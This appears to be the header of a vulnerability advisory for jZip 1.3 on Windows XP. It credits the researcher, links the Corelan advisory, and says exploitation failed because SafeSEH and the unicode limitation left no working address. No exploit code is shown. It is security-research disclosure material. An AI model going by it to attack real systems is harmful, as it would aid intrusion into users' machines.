Author: mr_me (http://net-ninja.net/)

Software Link: http://www.jzip.com/
|
|
Version: 1.3
|
|
Tested on: Windows XP SP3 En
|
|
Advisory: http://www.corelan.be:8800/advisories.php?id=10-021

|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Note:
|
|
jzip.exe and all associated modules are compiled with safeseh and combine that
|
|
with the unicode limitation proves very difficult for exploitation. We did not
|
|
find a working unicode address, otherwise this vulnerability would have been
|
|
alot more fun! The seven moons were not aligned as Ben puts it :)
